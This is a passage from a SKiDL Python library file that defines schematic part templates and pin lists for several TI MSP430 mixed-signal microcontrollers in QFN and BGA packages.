Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5340IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430F5340, 48pin QFN, 128KB Flash Memory, 10KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5341IRGZ', 'MSP430F5342IRGZ'],pins=[
Pin(num='1',name='P6.3/A3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.4/A4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.5/A5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P5.0/A8/VREF+/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.1/A9/VREF-/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='10',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='41',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='22',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='42',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='P5.7/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='P6.1/A1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='48',name='P6.2/A2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5358IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 512KB Flash Memory, 66KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5359IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6/A6/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11/A15/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='P5.6/ADC12CLK/DMAE0',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2.2/P2MAP2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2.5/P2MAP5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7/A7/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10/A14/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2.1/P2MAP1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2.4/P2MAP4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2.6/P2MAP6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2.7/P2MAP7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='P5.0/VREF+/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='P5.1/VREF-/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2.0/P2MAP0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2.3/P2MAP3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='P1.0/TA0CLK/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='P1.1/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='TEST/SBWTCK',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='P1.3/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='P1.2/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='P1.5/TA0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='P1.4/TA0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='P5.7/RTCCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='P1.6/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='P3.0/TA1CLK/CBOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='P1.7/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='P3.4/TA2CLK/SMCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='LDOO',func=Pin.BIDIR,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4/UCB2CLK/UCA2STE',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1/UCB2STE/UCA2CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='P4.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='P3.6/TA2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='P3.5/TA2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='LDOI',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='P4.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='P3.7/TA2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6/UCB2SOMI/UCB2SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3/UCA2RXD/UCA2SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='P4.6/TB0.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='P4.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='P4.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5/UCB2SIMO/UCB2SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2/UCA2TXD/UCA2SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='P4.7/TB0OUTH/SVMOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='P4.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='P4.3/TB0.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5500IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin QFN, 32KB Flash Memory, 4 + 2KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5501IRGZ', 'MSP430F5502IRGZ', 'MSP430F5503IRGZ'],pins=[
Pin(num='1',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='VBUS',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='VUSB',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='V18',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='PUR',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5504IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin QFN, 32KB Flash Memory, 4 + 2KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5505IRGZ', 'MSP430F5506IRGZ', 'MSP430F5507IRGZ'],pins=[
Pin(num='1',name='P6.0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='VBUS',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='VUSB',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='V18',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='PUR',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5508IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin QFN, 32KB Flash Memory, 4 + 2KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5509IRGZ', 'MSP430F5510IRGZ'],pins=[
Pin(num='1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='VBUS',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='VUSB',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='V18',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='PUR',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5524IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64ball BGA, 128KB Flash Memory, 8 + 2KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5526IYFF', 'MSP430F5528IYFF'],pins=[
Pin(num='A1',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='VUSB',func=Pin.PWROUT,do_erc=True),
Pin(num='G1',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='A2',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='E2',name='V18',func=Pin.NOCONNECT,do_erc=True),
Pin(num='F2',name='VBUS',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='PUR',func=Pin.BIDIR,do_erc=True),
Pin(num='H2',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='A3',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='B3',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='D3',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='E3',name='SBWTCK/TEST',do_erc=True),
Pin(num='F3',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='H3',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='B4',name='P5.0/A8/VREF+/VeREF+',func=Pin.BIDIR,do_erc=True),
